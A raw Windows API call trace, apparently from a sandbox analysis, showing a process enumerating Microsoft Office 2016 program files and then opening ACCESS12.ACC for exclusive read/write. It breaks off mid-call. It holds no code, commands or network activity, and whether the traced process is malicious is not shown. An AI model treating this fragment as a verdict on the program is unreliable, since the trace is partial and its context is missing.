ftLastWriteTime.dwLowDateTime=0xae963cd, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x72, dwReserved0=0x0, dwReserved1=0x0, cFileName="SKYPEFB_F_COL.HXK", cAlternateFileName="SKYPEF~4.HXK")) returned 1 [0186.995] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xae70165, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xae70165, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xae70165, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x71, dwReserved0=0x0, dwReserved1=0x0, cFileName="SKYPEFB_K_COL.HXK", cAlternateFileName="SKYPEF~1.HXK")) returned 1 [0186.995] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf5afc9d3, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf5afc9d3, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xae963cd, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1e5f0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SKYPEFB_ONLINE.HXS", cAlternateFileName="SKYPEF~3.HXS")) returned 1 [0186.995] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf5ad675f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf5ad675f, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xae963cd, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1f484, dwReserved0=0x0, dwReserved1=0x0, cFileName="SKYPEFB_ONLINEG.HXS", cAlternateFileName="SKYPEF~2.HXS")) returned 1 [0186.995] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xae963cd, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xae963cd, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xae963cd, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x29f, dwReserved0=0x0, dwReserved1=0x0, cFileName="SKYPEFB_ONLINEG_COL.HXC", cAlternateFileName="SKYPEF~3.HXC")) returned 1 [0186.995] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xae963cd, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xae963cd, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xae963cd, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xd7, dwReserved0=0x0, dwReserved1=0x0, cFileName="SKYPEFB_ONLINEG_COL.HXT", cAlternateFileName="SKYPEF~4.HXT")) returned 1 [0186.995] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xae963cd, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xae963cd, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xae963cd, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x72, dwReserved0=0x0, dwReserved1=0x0, cFileName="SKYPEFB_ONLINEG_F_COL.HXK", cAlternateFileName="SK7EA9~1.HXK")) returned 1 [0186.995] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xae963cd, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xae963cd, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xae963cd, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x71, dwReserved0=0x0, dwReserved1=0x0, cFileName="SKYPEFB_ONLINEG_K_COL.HXK", cAlternateFileName="SK002E~1.HXK")) returned 1 [0186.995] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xae963cd, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xae963cd, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xae963cd, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x29a, dwReserved0=0x0, dwReserved1=0x0, cFileName="SKYPEFB_ONLINE_COL.HXC", cAlternateFileName="SKYPEF~4.HXC")) returned 1 [0186.996] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xae963cd, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xae963cd, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xae963cd, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xd6, dwReserved0=0x0, dwReserved1=0x0, cFileName="SKYPEFB_ONLINE_COL.HXT", cAlternateFileName="SKYPEF~3.HXT")) returned 1 [0186.996] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xae963cd, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xae963cd, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xae963cd, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x72, dwReserved0=0x0, dwReserved1=0x0, cFileName="SKYPEFB_ONLINE_F_COL.HXK", cAlternateFileName="SKCB23~1.HXK")) returned 1 [0186.996] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xae963cd, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xae963cd, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xae963cd, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x71, dwReserved0=0x0, dwReserved1=0x0, cFileName="SKYPEFB_ONLINE_K_COL.HXK", cAlternateFileName="SKCD34~1.HXK")) returned 1 [0186.996] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf45f9db0, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf45f9db0, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf45f9db0, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x26d8, dwReserved0=0x0, dwReserved1=0x0, cFileName="SLINTL.DLL", cAlternateFileName="")) returned 1 [0186.996] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xca8e89fe, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xca8e89fe, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xdcec30aa, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x3b480, dwReserved0=0x0, dwReserved1=0x0, cFileName="SOCIALCONNECTORRES.DLL", cAlternateFileName="SOCIAL~1.DLL")) returned 1 [0186.996] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x4770c42, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x4770c42, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x4770c42, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0x644, dwReserved0=0x0, dwReserved1=0x0, cFileName="SPACE.VRD", cAlternateFileName="")) returned 1 [0186.996] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x4770c42, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x4770c42, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x4770c42, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0xd7a, dwReserved0=0x0, dwReserved1=0x0, cFileName="SPRING.CSS", cAlternateFileName="")) returned 1 [0186.996] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x4770c42, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x4770c42, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x4770c42, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0xd7c, dwReserved0=0x0, dwReserved1=0x0, cFileName="SPS.CSS", cAlternateFileName="")) returned 1 [0186.996] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x4770c42, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x4770c42, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x4770c42, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0xd7a, dwReserved0=0x0, dwReserved1=0x0, cFileName="STEEL.CSS", cAlternateFileName="")) returned 1 [0186.996] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xae963cd, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xae963cd, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xae963cd, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x69d1a, dwReserved0=0x0, dwReserved1=0x0, cFileName="STSLIST.CHM", cAlternateFileName="")) returned 1 [0186.996] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf472b09c, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf472b09c, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf472b09c, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x160d8, dwReserved0=0x0, dwReserved1=0x0, cFileName="STSLISTI.DLL", cAlternateFileName="")) returned 1 [0186.996] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x4796e84, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x4796e84, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x4796e84, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0xd7a, dwReserved0=0x0, dwReserved1=0x0, cFileName="SUNNY.CSS", cAlternateFileName="")) returned 1 [0187.004] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x4796e84, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x4796e84, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x4796e84, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0xd7a, dwReserved0=0x0, dwReserved1=0x0, cFileName="SUNSET.CSS", cAlternateFileName="")) returned 1 [0187.004] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xaee2894, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xaee2894, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xaee2894, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xc197, dwReserved0=0x0, dwReserved1=0x0, cFileName="TelemetryDashboard.xltx", cAlternateFileName="TELEME~2.XLT")) returned 1 [0187.004] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xaee2894, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xaee2894, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xaee2894, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x9420, dwReserved0=0x0, dwReserved1=0x0, cFileName="TelemetryLog.xltx", cAlternateFileName="TELEME~1.XLT")) returned 1 [0187.004] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xaee2894, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xaee2894, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xaee2894, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2d638, dwReserved0=0x0, dwReserved1=0x0, cFileName="TellMeAccess.nrr", cAlternateFileName="TEF284~1.NRR")) returned 1 [0187.004] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xaebc65e, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xaebc65e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xaebc65e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x5dff8, dwReserved0=0x0, dwReserved1=0x0, cFileName="TellMeExcel.nrr", cAlternateFileName="TELLME~4.NRR")) returned 1 [0187.004] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xaebc65e, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xaebc65e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xaebc65e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1f9d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="TellMeOneNote.nrr", cAlternateFileName="TELLME~1.NRR")) returned 1 [0187.004] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xaebc65e, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xaebc65e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xaebc65e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x30430, dwReserved0=0x0, dwReserved1=0x0, cFileName="TellMeOutlook.nrr", cAlternateFileName="TE1C01~1.NRR")) returned 1 [0187.004] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xaebc65e, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xaebc65e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xaebc65e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x3d9c4, dwReserved0=0x0, dwReserved1=0x0, cFileName="TellMeOutlookAddr.nrr", cAlternateFileName="TELLME~3.NRR")) returned 1 [0187.004] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xaebc65e, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xaebc65e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xaebc65e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x448f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="TellMeOutlookAppt.nrr", cAlternateFileName="TELLME~2.NRR")) returned 1 [0187.004] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xaf2ed8f, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xaf2ed8f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xaf2ed8f, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x456d4, dwReserved0=0x0, dwReserved1=0x0, cFileName="TellMeOutlookMail.nrr", cAlternateFileName="TE1EEB~1.NRR")) returned 1 [0187.004] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xaf2ed8f, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xaf2ed8f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xaf2ed8f, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x41ae0, dwReserved0=0x0, dwReserved1=0x0, cFileName="TellMeOutlookMailRead.nrr", cAlternateFileName="TE33EB~1.NRR")) returned 1 [0187.004] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xaee2894, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xaee2894, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xaee2894, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x3fdb4, dwReserved0=0x0, dwReserved1=0x0, cFileName="TellMeOutlookMeetingReqRead.nrr", cAlternateFileName="TE0A80~1.NRR")) returned 1 [0187.004] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xaee2894, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xaee2894, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xaee2894, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x3f7c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="TellMeOutlookMeetingReqSend.nrr", cAlternateFileName="TEA8CF~1.NRR")) returned 1 [0187.005] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xaee2894, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xaee2894, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xaee2894, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x3dd60, dwReserved0=0x0, dwReserved1=0x0, cFileName="TellMeOutlookTask.nrr", cAlternateFileName="TE5BFE~1.NRR")) returned 1 [0187.005] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xaee2894, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xaee2894, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xaee2894, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x4bb4c, dwReserved0=0x0, dwReserved1=0x0, cFileName="TellMePowerPoint.nrr", cAlternateFileName="TEAA78~1.NRR")) returned 1 [0187.005] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x3b8ee092, ftCreationTime.dwHighDateTime=0x1d47c34, ftLastAccessTime.dwLowDateTime=0x3b8ee092, ftLastAccessTime.dwHighDateTime=0x1d47c34, ftLastWriteTime.dwLowDateTime=0x3b8ee092, ftLastWriteTime.dwHighDateTime=0x1d47c34, nFileSizeHigh=0x0, nFileSizeLow=0x4894c, dwReserved0=0x0, dwReserved1=0x0, cFileName="TellMeProject.nrr", cAlternateFileName="TE4F27~1.NRR")) returned 1 [0187.005] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x47bd0fa, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x47bd0fa, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x47bd0fa, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0x34adc, dwReserved0=0x0, dwReserved1=0x0, cFileName="TellMeVisio.nrr", cAlternateFileName="TE7B47~1.NRR")) returned 1 [0187.005] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xaf2ed8f, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xaf2ed8f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xafa146a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x5fa74, dwReserved0=0x0, dwReserved1=0x0, cFileName="TellMeWord.nrr", cAlternateFileName="TEC8DE~1.NRR")) returned 1 [0187.005] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x47e33aa, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x47e33aa, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x47e33aa, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0xd7a, dwReserved0=0x0, dwReserved1=0x0, cFileName="TERRCOTT.CSS", cAlternateFileName="")) returned 1 [0187.005] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xa326fd, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0xa326fd, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x18ccc9d, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0x5a850, dwReserved0=0x0, dwReserved1=0x0, cFileName="TIMESOLN.VSL", cAlternateFileName="")) returned 1 [0187.534] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59df40) returned 1 [0187.534] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59df00) returned 1 [0187.534] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e000) returned 1 [0187.538] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59df40) returned 1 [0187.539] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59df00) returned 1 [0187.539] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\ACCESS12.ACC", nBufferLength=0x105, lpBuffer=0x1f59d8e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\ACCESS12.ACC", lpFilePart=0x0) returned 0x41 [0187.539] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59ddb0) returned 1 [0187.540] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dd70) returned 1 [0187.540] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59dcb0) returned 1 [0187.540] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dc20) returned 1 [0187.544] CloseHandle (hObject=0x820) returned 1 [0187.544] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59dcb0) returned 1 [0187.544] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dc20) returned 1 [0187.545] CloseHandle (hObject=0x820) returned 1 [0187.545] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59dcb0) returned 1 [0187.546] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dc20) returned 1 [0187.546] ReadFile (in: hFile=0x820, lpBuffer=0x3b78150, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f59dd88, lpOverlapped=0x0 | out: lpBuffer=0x3b78150*, lpNumberOfBytesRead=0x1f59dd88*=0x1000, lpOverlapped=0x0) returned 1 [0187.605] CloseHandle (hObject=0x820) returned 1 [0187.605] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\ACCESS12.ACC", nBufferLength=0x105, lpBuffer=0x1f59d790, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\ACCESS12.ACC", lpFilePart=0x0) returned 0x41 [0187.605] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59dcb0) returned 1 [0187.605] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\ACCESS12.ACC" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\access12.acc"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x820 [0187.606] GetFileType (hFile=0x820) returned 